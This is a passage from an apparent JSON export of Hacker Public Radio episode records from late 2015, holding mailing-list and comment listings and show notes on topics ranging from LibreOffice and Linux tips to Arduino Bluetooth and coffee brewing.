                                                              \n Messages: 1

                                                            22. \n
                                                            23. From: "Thaj A. Sara" <thajasara@...>
                                                              \n Date: 2015-09-18 18:12:11 -0400
                                                              \n Subject: Re: Hpr Digest, Vol 84, Issue 20
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/957
                                                              \n Messages: 1

                                                            24. \n
                                                            25. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-09-22 21:53:09 +0200
                                                              \n Subject: Re: [SPAM] HPR Menus are not accessible
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/958
                                                              \n Messages: 1

                                                            26. \n
                                                            27. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-09-24 13:46:16 +0200
                                                              \n Subject: Linux News Log coming to an end after 10 years
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/959
                                                              \n Messages: 1

                                                            28. \n
                                                            29. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-09-28 11:15:19 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2015-10-03T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/965
                                                              \n Messages: 1
                                                            30. \n
                                                            \nTotal messages this month: 56
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 43 comments:

                                                            \n
                                                              \n
                                                            • hpr1739\n(2015-04-02) \"Theater of the Imagination: Part 07\"\nby lostnbronx.\n
                                                              • Comment 1:\nFiftyOneFithty on 2015-09-08:\n\"Thanks for conpairing Zoom and Tascam\"
                                                              • \n

                                                            • \n
                                                            • hpr1750\n(2015-04-17) \"xclip, xdotool, xvkbd: 3 CLI Linux tools for RSI sufferers\"\nby Jon Kulp.\n
                                                              • Comment 7:\nRob Blaine on 2015-09-27:\n\"Blather works great!\"
                                                              • Comment 8:\nJon Kulp on 2015-09-27:\n\"Blather\"
                                                              • Comment 9:\nRob Blaine on 2015-09-28:\n\"Blather and RSI\"
                                                              • \n

                                                            • \n
                                                            • hpr1831\n(2015-08-10) \"Are speed listening and slow background music compatible?\"\nby A Shadowy Figure.\n
                                                              • Comment 5:\nfolky on 2015-09-07:\n\"It depends\"
                                                              • \n

                                                            • \n
                                                            • hpr1834\n(2015-08-13) \"Password Cards\"\nby Jon Kulp.\n
                                                              • Comment 1:\nDave Morriss on 2015-09-03:\n\"Very useful\"
                                                              • \n

                                                            • \n
                                                            • hpr1837\n(2015-08-18) \"Put an SSD in your Linux Box\"\nby 2BFrank.\n
                                                              • Comment 3:\n2BFrank on 2015-09-15:\n\"Good points\"
                                                              • \n

                                                            • \n
                                                            • hpr1841\n(2015-08-24) \"My way into Linux\"\nby folky.\n
                                                              • Comment 2:\nfolky on 2015-09-02:\n\"Thank you\"
                                                              • \n

                                                            • \n
                                                            • hpr1846\n(2015-08-31) \"UNI-T UT61E Review\"\nby NYbill.\n
                                                              • Comment 1:\nMike Ray on 2015-09-01:\n\"Uni-T Meters\"
                                                              • Comment 2:\nNYbill on 2015-09-01:\"[no title]\"
                                                              • Comment 3:\nMike Ray on 2015-09-02:\n\"Unit-T meters and serial ports\"
                                                              • Comment 4:\nNYbill on 2015-09-02:\"[no title]\"
                                                              • Comment 5:\nMike Ray on 2015-09-03:\n\"PL2303 USB-toRS232 and UT6?\"
                                                              • Comment 6:\ndavidWHITMAN on 2015-09-07:\n\"Damn You!\"
                                                              • \n

                                                            • \n
                                                            • hpr1847\n(2015-09-01) \"Client Side C- WTF Is Wrong With You?\"\nby sigflup.\n
                                                              • Comment 1:\nGabriel Evenfire on 2015-09-17:\n\"I always look forward to your shows...\"
                                                              • \n

                                                            • \n
                                                            • hpr1848\n(2015-09-02) \"Introduction to w3m, a Command Line Web Browser\"\nby Frank Bell.\n
                                                              • Comment 1:\ntom_len on 2015-10-01:\n\"automatize login from command line\"
                                                              • \n

                                                            • \n
                                                            • hpr1850\n(2015-09-04) \"18 - ssh Introduction\"\nby Ahuka.\n
                                                              • Comment 1:\n0xf10e on 2015-09-10:\n\"portable version of OpenSSH\"
                                                              • Comment 2:\nGabriel Evenfire on 2015-09-17:\n\"This could be a very fruitful series.\"
                                                              • Comment 3:\nKevin O'Brien on 2015-09-20:\n\"Thank you\"
                                                              • \n

                                                            • \n
                                                            • hpr1851\n(2015-09-07) \"HPR Community News for August 2015\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nMike Ray on 2015-09-07:\n\"Markdown show notes\"
                                                              • Comment 2:\nDave Morriss on 2015-09-08:\n\"Markdown etc.\"
                                                              • Comment 3:\nNYbill on 2015-09-08:\n\"Electronics videos. \"
                                                              • Comment 4:\nNYbill on 2015-09-09:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1853\n(2015-09-09) \"I <3 Vista\"\nby Alpha32.\n
                                                              • Comment 1:\nAaronb483 on 2015-09-11:\n\"great name for podcast\"
                                                              • \n

                                                            • \n
                                                            • hpr1856\n(2015-09-14) \"ssh config\"\nby klaatu.\n
                                                              • Comment 1:\n0xf10e on 2015-09-14:\"[no title]\"
                                                              • Comment 2:\nMr. Young on 2015-09-15:\n\"Thanks\"
                                                              • Comment 3:\nGabriel Evenfire on 2015-09-17:\n\"Identity file\"
                                                              • \n

                                                            • \n
                                                            • hpr1857\n(2015-09-15) \"Adventures In Coffee\"\nby Curtis Adkins (CPrompt^).\n
                                                              • Comment 1:\nGabriel Evenfire on 2015-09-17:\n\"A nice episode even for non-coffee people\"
                                                              • Comment 2:\nDave Morriss on 2015-09-18:\n\"I enjoyed this a lot\"
                                                              • Comment 3:\nMichael on 2015-09-24:\n\"You got my european mind.\"
                                                              • \n

                                                            • \n
                                                            • hpr1858\n(2015-09-16) \"Multimeter Mod's Part 2\"\nby NYbill.\n
                                                              • Comment 1:\nJon Kulp on 2015-09-16:\n\"Thank you! \"
                                                              • Comment 2:\nMike Ray on 2015-09-16:\n\"Hacking at it's best\"
                                                              • Comment 3:\nNYbill on 2015-09-16:\n\"Thanks, Jon. \"
                                                              • Comment 4:\nNYbill on 2015-09-16:\n\"Ha, thanks Mike. \"
                                                              • Comment 5:\nmirwi on 2015-09-24:\n\"Splitting hair...\"
                                                              • Comment 6:\nNYbill on 2015-09-25:\n\"Transitors\"
                                                              • Comment 7:\nMike Ray on 2015-09-26:\n\"Transistors\"
                                                              • \n

                                                            • \n
                                                            • hpr1859\n(2015-09-17) \"A Mouse in a Maze on the Raspberry PI\"\nby Gabriel Evenfire.\n
                                                              • Comment 1:\nMike Ray on 2015-09-17:\n\"Welcome return\"
                                                              • \n

                                                            • \n
                                                            • hpr1862\n(2015-09-22) \"The Awesomely Epic Guide To KDE Part 1\"\nby Geddes.\n
                                                              • Comment 1:\nKen Fallon on 2015-09-28:\n\"I just enabled a load of these\"
                                                              • \n

                                                            • \n
                                                            • hpr1863\n(2015-09-23) \"The Awesomely Epic Guide To KDE Part 2\"\nby Geddes.\n
                                                              • Comment 1:\nJon Kulp on 2015-09-23:\n\"Probably still will not switch to KDE, but... \"
                                                              • \n

                                                            • \n
                                                            • hpr1864\n(2015-09-24) \"Turning an old printer into a network printer\"\nby Dave Morriss.\n
                                                              • Comment 1:\nJon Kulp on 2015-09-24:\n\"Whoa remote scanning! \"
                                                              • Comment 2:\nDave Morriss on 2015-09-27:\n\"Remote scanning, etc\"
                                                              • \n

                                                            • \n
                                                            • hpr1866\n(2015-09-28) \"An awkward talk with two young computer users\"\nby Quvmoh.\n
                                                              • Comment 1:\nFrank on 2015-09-28:\"[no title]\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1872,"date":"2015-10-06","title":"Sim City BuildIt September 2015","duration":1417,"summary":"I talk about one of my favorite games sim city buildit","notes":"

                                                            \nDefinately focus on getting enough golden keys as it allows you to get some very good buildings\n

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"games, iPad, android, google play","version":0,"downloads":0,"valid":1}, {"id":1873,"date":"2015-10-07","title":"TiT Radio 21 - I Thought I Had Better Links","duration":4183,"summary":"TiT Radio rides again, again","notes":"

                                                            \nAnother installment of TiT Radio with Kevin Wisher, pegwole, netminer, and FiftyOneFifty\n

                                                            \n

                                                            \nSome of these links may have bee discussed during the show:\n

                                                            \n\n\n","hostid":131,"series":30,"explicit":1,"license":"CC-BY-SA","tags":"TiT Radio","version":0,"downloads":0,"valid":1}, {"id":1874,"date":"2015-10-08","title":"Interview with Droops","duration":3239,"summary":"To mark the 10 year anniversary of HPR we talk to droops one of the founders of Today with a Techie.","notes":"

                                                            \nWe started producing shows as Today with a Techie 10 years ago this weekend. To mark the project we track down droops one of the founders and ask him about the early days.\n

                                                            \n

                                                            About HPR.

                                                            \n

                                                            Hacker Public Radio (HPR) is an Internet Radio show (podcast) that releases shows every weekday Monday through Friday. HPR has a long lineage going back to Radio FreeK America, Binary Revolution Radio & Infonomicon, and it is a direct continuation of Twatech radio. Please listen to StankDawg's \"Introduction to HPR\" for more information.

                                                            \n \n

                                                            What differentiates HPR from other podcasts is that the shows are produced by the community - fellow listeners like you. There is no restrictions on how long the show can be, nor on the topic you can cover as long as they \"are of interest to Hackers\". If you want to see what topics have been covered so far just have a look at our Archive. We also allow for a series of shows so that host(s) can go into more detail on a topic.

                                                            \n\n

                                                            You can download/listen to the show here or you can subscribe to the show in your favorite podcatching client (like BashPodder) to automatically get our new shows as soon as they are available. You can copy and redistribute the shows for free provided you adhere to the Creative Commons AttributionShareAlike 3.0 License.

                                                            \n \n

                                                            We do not filter the shows in any way other than to check if they are audible and not blatant attempts at spam.

                                                            \n \n

                                                            \n Hacker Public Radio is dedicated to sharing knowledge. We do not accept donations, but if you listen to HPR, then we would love you to contribute one show a year.\n

                                                            \n \n

                                                            In the Press.

                                                            \n \n\n

                                                            Links

                                                            \n\n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"TWaTech, RFA, Radio FreeK America, BinRev, Binary Revolution Radio, Infonomicon","version":0,"downloads":0,"valid":1}, {"id":1875,"date":"2015-10-09","title":"63 - LibreOffice Impress - Formatting Text","duration":1050,"summary":"Text formatting options are explored","notes":"

                                                            \nI know we have focused a lot on using Styles to control the formatting of text, and there is a reason for that. As I have said so often, uniformity of appearance is an important part of a professional-looking presentation, and that is best done by using the Presentation and Drawing Object styles appropriately. But there is a place for all of the other tools Impress has, and I want to go over some of them now before we move on to other topics.\nFor more go to https://www.ahuka.com/?page_id=1262\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Text","version":0,"downloads":0,"valid":1}, {"id":1876,"date":"2015-10-12","title":"MicrobeLog, or: On Shaving Yaks and Doing Things","duration":561,"summary":"Why I'm making an HPR episode, and why I'm making a vaporware social network engine","notes":"

                                                            \nThe MicrobeLog overview: https://gitlab.com/microbelog/manifest\n

                                                            \n

                                                            \nhpr1726 :: 15 Excuses not to Record a show for HPR:\nhttps://hackerpublicradio.org/eps.php?id=1726\n

                                                            \n

                                                            \nI think I've pretty much had to fight excuses 5, 7, 10 and 12. :-)\n

                                                            ","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"federation, python, microservices, gtd, yakshaving","version":0,"downloads":0,"valid":1}, {"id":1877,"date":"2015-10-13","title":"Recording HPR on the fly on your Android phone","duration":378,"summary":"How quickly can you get an HPR recording done? 10 minutes including app install! Sort of.","notes":"

                                                            This episode was produced entirely on my phone, including upload.

                                                            \n\n

                                                            Apologies for the atrocious sound quality and the low volume. Consider it performance art. I know I need to speak closer to the phone next time. There's DroidGain, but I guess it only accepts mp3.

                                                            \n\n

                                                            TL;DL: Install Urecord from F-Droid, choose 44.1 kHz, RECORD!

                                                            \n\n\n

                                                            I estimate the total amount of time spent on this episode at:

                                                            \n
                                                              \n
                                                            • 20 mins – installing apps on two phones
                                                            • \n
                                                            • 20 mins – evaluate apps on two phones (while cooking!)
                                                            • \n
                                                            • 6 mins – record episode
                                                            • \n
                                                            • 10 mins – update HPR user profile
                                                            • \n
                                                            • 30 mins – write show notes (while having dinner!)
                                                            • \n
                                                            • 15 mins – figure out how to upload this thing from a phone
                                                            • \n
                                                            • ?? – upload episode
                                                            • \n
                                                            \n\n

                                                            A large part of the typing time was angle brackets. HATE screen input. I want a modern phone with sliding QWERTY like the good old X10 Mini Pro, or maybe the slightly larger HTC Desire Z. Apparently the market doesn't. :-(

                                                            \n\n

                                                            Wow, turns out the difficult part was to upload the file. Had to use a file manager as a \"provider\" for Firefox to get the \"document\" from.

                                                            \n","hostid":311,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"android, hpr, audio, recording","version":0,"downloads":0,"valid":1}, {"id":1878,"date":"2015-10-14","title":"What's In My Bag","duration":548,"summary":"What's in my travel bag for my upcoming client trip","notes":"

                                                            What's in My Bag Show Notes

                                                            \n

                                                            Here are some links from the highlights of the episode

                                                            \n\n","hostid":300,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"Consulting, travel","version":0,"downloads":0,"valid":1}, {"id":1879,"date":"2015-10-15","title":"Hacking a Belt to Make it Fit","duration":906,"summary":"I record a show while hacking a belt to make it fit.","notes":"

                                                            In this episode I talk while I'm performing a belt hack. I bought a belt at Goodwill that is in excellent condition but does not fit me. To make it fit I need to cut off 6.25 inches and then put it back together.

                                                            \n

                                                            This is the belt as I got it. Notice the very small screws holding the buckle to the belt.

                                                            \n

                                                            \"The

                                                            \n

                                                            The screws are out, the belt removed from the buckle. You can see here the two holes that accommodate the screws as well as the rectangular notch.

                                                            \n

                                                            \"Buckle

                                                            \n

                                                            I've cut off 6.25" from the belt, ready to make the holes and notch in the remaining part.

                                                            \n

                                                            \"6.25"

                                                            \n

                                                            Here I've clamped the part of the belt that I cut off to the remaining part to use as a template for making the holes and the notch.

                                                            \n

                                                            \"Hole-and-notch

                                                            \n

                                                            Holes and notch cut in the remaining part of the belt. Doesn't look as nice as the original but it should work.

                                                            \n

                                                            \"Holes

                                                            \n

                                                            All done. Belt is reassembled and I'm wearing it, fits just right!

                                                            \n

                                                            \"Perfect

                                                            \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY, belts, dressing spiffily","version":0,"downloads":0,"valid":1}, {"id":1880,"date":"2015-10-16","title":"Arduino Bluetooth HOWTO","duration":2494,"summary":"Klaatu talks about getting a bluetooth module for an arduino, and how to make it work","notes":"

                                                            \nKlaatu talks about the HC-05 and -06 series of bluetooth modules and how to use them with an Arduino, including some basic code on the Arduino to get it to respond to signals over bluetooth, and some basic PyQt code on how to send signals to the bluetooth device. PLUS, he talks about configuring the bluetooth so that it is connected to the serial port of your system (so that Python can use it).\n

                                                            \n

                                                            \nA super basic bluetooth controller app can be found here:\nhttps://gitlab.com/makerbox/rovcon \n(it's Klaatu's code, and it's not quite finished, so if you have improvements or questions, feel free to comment or merge or email)\n

                                                            ","hostid":78,"series":91,"explicit":0,"license":"CC-BY-SA","tags":"arduino,python,qt","version":0,"downloads":0,"valid":1}, {"id":1881,"date":"2015-10-19","title":"My road to Linux","duration":912,"summary":"I'm so old I actually installed Watchtower on an Amiga and I review 22 years of Linux distributions","notes":"

                                                            I went against my own recommendations from my previous episode \nand used Rehearsal Assistant, because it can rename files inside the app. \nWell, turns out it records at 8 kHz and encodes it as 3GPP.

                                                            \n\n

                                                            Sound quality: Yes, it's at a terrible sample rate, but you can \nhear what I'm saying and at least I'm Holding It Right.\nThere's no problem with sudden drops in \nlevel.

                                                            \n\n

                                                            Do as I say, don't do as I do. Use\nUrecord,\nwhich is obviously \npronounced you record as in telling someone to record something, not \nyou record! as in insulting someone by comparing them to a vinyl disc. \nDon't say as I say.

                                                            \n\n

                                                            Slirp can use either SLIP or \nPPP. I think I used Slirp with SLIP, and there was some other connection \nmethod that provided PPP directly without logging in and running a command. \nMaybe their getty even understood the PPP blurb and just went directly to \npppd. Anyway, my Amiga-side software didn't support it. When I switched to \nLinux I was able to use the other method and just talk PPP directly and \nauthorize using CHAP.

                                                            \n\n

                                                            Debian didn't support Amiga\nuntil Debian Hamm, which was released in 1998. So I didn't have much\nchoice but to run Watchtower and compile my own stuff. By 1998 the Amiga was\nalready gathering dust in my wardrobe back at my parents' place, while my PC\nand I were preparing to travel the seas with the Swedish Royal Navy and\nhang out (not really) with David Letterman on Saint Barths.

                                                            \n\n

                                                            Wikipedia says that \nyes, it was Bruce Perens who tried to get UserLinux going, but they claim \nUbuntu killed it. I don't remember UserLinux getting any traction at all. I \nthink it's more accurate to say that Ubuntu put the last nail in its coffin. \nLWN seems to agree: The \nimmediate cause of death was an inability to deliver software. Today there \nstill is no real delivered product, over three months after the release of \nDebian Sarge.

                                                            \n\n

                                                            But the same article reveals that I was completely wrong about Bruce \ntrying to gather existing vendors together: It was occasionally \nconfused with UnitedLinux by people familiar with the Linux market. \nUnitedLinux is the old Caldera, Conectiva, SUSE and Turbolinux \ninitiative. Yeah, I was thinking of the one with Turbolinux in it. \nThat name rings a bell. But I thought Turbolinux was Finnish. Apparently they \nwere Japanese. Or actually, \napparently they are Japanese.

                                                            \n\n

                                                            Ah yes, Best Linux, that was the Finnish one.

                                                            \n\n

                                                            I know that guix\nis pronounced geeks. I just don't know it in my heart. Just \nlike I actually think GNU/Linux is the better descriptive term, but I keep \ntalking about the Linux ecosystem* etc, where 95% of that ecosystem is \nabstracted away from Linux by glibc and runs just as well on \nFreeBSD.

                                                            \n\n

                                                            * Yes, you may hate the term ecosystem. I happen to think it's an \napt** analogy.

                                                            \n

                                                            ** You see what I did there.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":311,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"Urecord,Slirp,Amiga,turbolinux,guix","version":0,"downloads":0,"valid":1}, {"id":1882,"date":"2015-10-20","title":"How I Compute Away From My Computer","duration":1666,"summary":"Thaj explains his setup for computing outside of the house, without his laptop.","notes":"

                                                            Here is a list of the stuff I bought, as well as the apps I list in the episode:

                                                            \n\n

                                                            Free/Open Source Android Apps:

                                                            \n
                                                              \n
                                                            • AntennaPod
                                                            • \n
                                                            • Atomic
                                                            • \n
                                                            • ChatSecure
                                                            • \n
                                                            • Connectbot (honorable mention to Irissi Connectbot)
                                                            • \n
                                                            • FB Reader
                                                            • \n
                                                            • F-Droid
                                                            • \n
                                                            • HN
                                                            • \n
                                                            • NewPipe
                                                            • \n
                                                            • K9 Mail
                                                            • \n
                                                            • Orbot
                                                            • \n
                                                            • Orweb
                                                            • \n
                                                            • Owncloud
                                                            • \n
                                                            • OwnNote
                                                            • \n
                                                            • Pixel Dungeon
                                                            • \n
                                                            • Plumble
                                                            • \n
                                                            • RedReader
                                                            • \n
                                                            • Termux
                                                            • \n
                                                            • Twidere
                                                            • \n
                                                            • VLC
                                                            • \n
                                                            \n

                                                            Not so Free/Open Source Android Apps:

                                                            \n
                                                              \n
                                                            • LastPass
                                                            • \n
                                                            • ezPDF Reader
                                                            • \n
                                                            • News+
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":270,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"android, tablet, on the go, portable, apps, free software, open source software","version":0,"downloads":0,"valid":1}, {"id":1883,"date":"2015-10-21","title":"Don't Get Locked In","duration":1080,"summary":"Knightwise discusses how he uses tools from several major software platforms to get his work done","notes":"

                                                            \nIn this episode Knightwise talks about the cross-platform tools he uses for\nhis day job as a freelance IT consultant. All three of the major OS platforms\n(Linux, OS X and Windows) have their strengths, so by leveraging systems from\nacross all ecosystems Knightwise can use what he feels is the best tool for\nany individual task.\n

                                                            \n

                                                            \nUse the tool that's right for you without letting the fanboys or the zealots get in your way.\n

                                                            \n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cross-platform tools ","version":0,"downloads":0,"valid":1}, {"id":1884,"date":"2015-10-22","title":"Some more Bash tips","duration":949,"summary":"Some information about brace expansion in Bash that you might not know","notes":"

                                                            Some more Bash tips

                                                            \n

                                                            We looked at Parameter Expansion back in HPR episode 1648 where we saw how Bash variables could be used, checked and edited. There are other sorts of expansions within Bash, and we'll look at one called "Brace Expansion" in this episode, which follows on from episode 1843 "Some Bash tips".

                                                            \n

                                                            I have written out a moderately long set of notes about this subject and these are available by clicking this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,brace expansion,seq","version":0,"downloads":0,"valid":1}, {"id":1885,"date":"2015-10-23","title":"64 - LibreOffice Impress - Multimedia","duration":853,"summary":"Using Audio and Video files in Impress","notes":"

                                                            \nOne thing that Impress lets you do that can be kind of fun is to use Multimedia files in your presentations in various ways. Now, there are some interesting limitations here. First of all, any time you want sounds, whether from an audio file or as part of a movie file, you need to have the right hardware. This means a little planning ahead. In many of the places where I do presentations the video is all I have. But most modern projectors, particularly in corporate meeting rooms, have the capability of playing audio as well as video. \nFor more go to https://www.ahuka.com/?page_id=1271\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Multimedia, Audio, Video","version":0,"downloads":0,"valid":1}, {"id":1886,"date":"2015-10-26","title":"Moral Volcano's Linux Tips & Tricks podcast for Hacker Public Radio","duration":3884,"summary":"A collection of Linux tips and tricks that may be useful new users.","notes":"

                                                            \nWelcome to my first podcast for Hacker Public Radio. \n

                                                            \n
                                                              \n
                                                            1. Like Gnome 3? Good for you.\n
                                                            2. \n
                                                            3. Don't like Gnome 3 or like Gnome 2 more? Then, get a Linux distro with the Mate desktop. Mate desktop was forked from Gnome 2. Gnome 2 development was stopped by the Gnome 3 team.
                                                            4. \n
                                                            5. After installing the Mate desktop, install the Nimbus theme and Compiz desktop effects.
                                                              \n https://www.dropbox.com/s/47579lbgjsqgazz/nimbus-icon-theme_0.1.4-2_all.deb?dl=0
                                                              \n https://www.dropbox.com/s/ndei6yi4lj2zmid/gtk2-engines-nimbus_0.1.4-2_amd64.deb?dl=0
                                                              \n I don't have the 32-bit edition.\n
                                                            6. \n
                                                            7. Have a USB wireless modem? Use wvdial or gnome-ppp with \"stupid mode\" enabled.
                                                            8. \n
                                                            9. Change gnome-terminal color scheme to Green-On-Black and the the following line to your .bashrc for a colorful and usable terminal window.\n
                                                              PS1=\"\\a\\n\\n\\e[31;1m\\u@\\h on \\d at \\@\\n\\e[33;1m\\w\\e[0m\\n$ \"
                                                              \n https://www.vsubhash.com/article.asp?id=13&info=Ubuntu_and_Gnome_Diary#change_terminal_prompt
                                                            10. \n
                                                            11. Install CMU fonts from
                                                              \n https://canopus.iacp.dvo.ru/~panov/cm-unicode/
                                                            12. \n
                                                            13. Download Google fonts using this bash script\n
                                                              wget https://googlefontdirectory.googlecode.com/hg/ofl/ -r -nc -nd -np -A.ttf
                                                              \n This command takes a while to parse all the pages and find the fonts that need to be downloaded.
                                                              \n https://www.youtube.com/watch?v=Cj6zhjW7ZS0
                                                            14. \n
                                                            15. Good Artists Copy, Great Artists Steal; Jonathan Schwartz; March 2010
                                                              \n https://jonathanischwartz.wordpress.com/2010/03/09/good-artists-copy-great-artists-steal/
                                                            16. \n
                                                            17. Undead Myths In The Wake Of iDead Steve Jobs; V. Subhash; November 2011
                                                              \n https://www.vsubhash.com/article.asp?id=112&info=Undead_Myths_In_The_Wake_Of_iDead_Steve_Jobs
                                                            18. \n
                                                            19. Support free software
                                                              \n https://my.fsf.org/donate
                                                              \n https://mate-desktop.org/donate/
                                                              \n https://www.linuxmint.com/donors.php\n
                                                            20. \n
                                                            21. Firestarter firewall - I think it needs only a little attention from Linux developers before it can be extremely useful again. Most of it still works.
                                                              \n https://fs-security.com/
                                                            22. \n
                                                            \n","hostid":312,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"desktop,Mate,wvdial,gnome-ppp,fonts,Firestarter firewall ","version":0,"downloads":0,"valid":1}, {"id":1887,"date":"2015-10-27","title":"Coffee Making Basics","duration":642,"summary":"Reply to HPR Episode 1871 & Coffee Making","notes":"

                                                            Hi. This is "JustMe". I've been in & out of computing since the late 70s. I'm currently running the latest version of Linux Mint LMDE Mate on this Intel Core2 Q8300 CPU running @ 2.50GHz, on an ASRock motherboard with 8G of memory. Storage is provided by a 120Gb Samsung 850 EVO SSD for the OS and a Western Digital WD20 2T HD as home & swap. Video is provided by nVidia. My monitor is an LG E2441 wide screen. I built this box a few years ago and haven't seen a need to modernize it beyond upgrading the OS because it suits my purposes well. Although I'm seriously contemplating switch my desk top to XFCE because Mate is still too buggy.

                                                            \n

                                                            'nught about me. Let's get on to the subject at hand.

                                                            \n

                                                            I just finished listening to the HPR Community News for September 2015 episode 1871 a couple of days ago. I listened to the two volunteer hosts talking about coffee, coffee preparation and how hard it was to get water to the correct temperature for that optimal cup of coffee. I'd like to ask the two of them a couple of questions before I continue elucidating on this topic.

                                                            \n

                                                            The first question is, can you blind taste test the difference between Nescafé Instant and a cup of, let's say, Starbucks brewed coffee? (a blind taste test is where someone prepares cups of coffee without you knowing which cup has which coffee.) Also notice, I didn't say cappuccino or latte. I said, good ol' fashioned brewed coffee, drunk black.

                                                            \n

                                                            Don't be ashamed if you can't because many people don't have the taste buds for it. But if you can't, I'd say forget making your own and stay with the crappy, Nescafé instant. You'll save yourself a lot of time, money.

                                                            \n

                                                            On the other hand, if you can taste the difference, and you live in the San Francisco area of California, then I'd like to ask another question. Can you taste the difference between Starbucks and Pete's Brewed coffee?

                                                            \n

                                                            If you can, then I propose one more question. Can you taste the difference between a cup of coffee made with Columbian beans and one made with Brazilian beans or Ethiopian beans or Costa Rica Beans?

                                                            \n

                                                            If you can answer yes to all of these questions, then I'd say you should take the time to learn how to make a proper cup of coffee. You will be rewarded a thousand times over with each cup.

                                                            \n

                                                            Now, providing you have answered all in the affirmative or you're just interested in listening to the rest of this podcast, let's digress no further and proceed to the heart of the matter.

                                                            \n

                                                            Making a cup of good coffee, just like making a bottle of good wine or a good omelet, takes understanding of the basics and practice in preparation.

                                                            \n

                                                            The basics of coffee making are simple: Freshly roasted whole beans, a good grinder & proper grind for the type of coffee preparation method, water, water temperature, and brew time.

                                                            \n

                                                            I'm not going to go into a step-by-step dissertation on each brewing method. Suffice it to say, you can take the time for that later. I'll only discuss the essentials here.

                                                            \n

                                                            Let me dally a moment longer. Do you drink wine or beer? When you do or if you do, do you add ice to it? Do you want watered down beer or wine? NO!!! Then why in the hell would you add milk or sugar to your coffee?????? 'nough said on that subject.

                                                            \n

                                                            Let's proceed:

                                                            \n
                                                              \n
                                                            1. By freshly roasted whole beans, I mean just that. Whole beans that have been roasted in the past couple of days. NOT two, three, four, five or more months ago. Beans lose their flavor, go stale, with time. Just like day-old bread. Ground beans lose their flavor even faster, so use only whole beans and grind them as you need them just before brewing. In addition, to maintain their freshness, keep whole beans in an air-tight bag or container, out of direct sunlight and in a cool, dry place (NOT refrigerated). Beans hate time, temperature, sunlight, and air.

                                                              \n

                                                              Another side note here. How much ground coffee per cup? General rule of thumb - 10 grams of ground coffee per 6 ounces of water. The average American cup/mug holds 8-14 ounces of water. So adjust the amount of ground coffee accordingly - experiment. Keep all the other factors the same and only vary the quantity of ground coffee until you get that "just right" cup. But, of course, if you like Nescafé instant, you'll like stale coffee beans and add extra just for fun.

                                                            2. \n
                                                            3. Grinder. A good grinder is imperative. The greatest cost is going to be the grinder. Not all grinders are equal, nor do they grind beans equally well. So don't be afraid to spend good money for a good grinder. Look for a conical or burr grinder. No damn blade grinders. Blade grinders are for spices and grinding dog food. And I don't mean Kitchen Aid or Sunbeam or Cuisinart or Mr. Coffee or such. Look for brand names like Mazzer, Rancilio, Gaggia, Bunn, Macap, or Baratza. Spend good money now, it'll save you money and ensure years of good service.

                                                              \n

                                                              Note that each brewing method needs a different "grind" - coarseness/fineness. Experiment. Keep all the other factors the same and only vary the grind until you get that "just right" cup. But, of course, if you like Nescafé instant, don't worry about the grind.

                                                              \n

                                                              Another side note here. If you answered yes to all of the above questions, I'll guarantee that if I were to prepare two cups of coffee where all of the factors are the same except for the grinder (one cheap & one quality), that you would most definitely swear that different beans were used to make each cup. No Joke. That's the difference a good grinder makes. It, more than any other factor, will change the flavor of your coffee. And you'll more likely than not be missing out on a great cup and be constantly plagued with shit coffee if you cheap out.

                                                              \n

                                                              I can personally attest to this fact. I cheaped out in the beginning. Then I spent the money to buy a great grinder. My first sip of my first cup using the great grinder knocked my socks off. Night and day! I discovered the great taste of coffee that a great grinder provides. So don't cheap out. But, of course, if you like Nescafé instant, you'll like the cheap blade grinder. Or, hell, do it caveman style, just use a hammer to smash the beans.

                                                            4. \n
                                                            5. Water. Mountain spring water is a MUST. The minerals in it help extract the delicate flavors of the coffee giving it a much more fuller, richer flavor. Distilled water leaves coffee tasting flat and lifeless. But, of course, if you like Nescafé instant, you'll like distilled water.

                                                            6. \n
                                                            7. Water temp. Yes. Water temp makes a difference. It's like the difference between scalding milk and burning milk. Coffee's delicate flavors require a temp between 195-200 degrees F or 90-94 degrees C. Too cold, no flavor extraction - flat coffee. Too hot and the oils are extruded - bitter coffee.

                                                              \n

                                                              First bring water to a rolling boil. This airiates the water. Once the water comes to a full boil, remove from the heat. Wait 30-40 seconds then pour into or over your freshly ground coffee beans and stir. For an even more accurate temp reading, use a thermometer. If you make espresso, the espresso maker will take care of the temp, provided you bought a GOOD espresso maker and not a cheap Cuisinart or the likes thereof. But, of course, if you like Nescafé instant, use boiling hot water.

                                                            8. \n
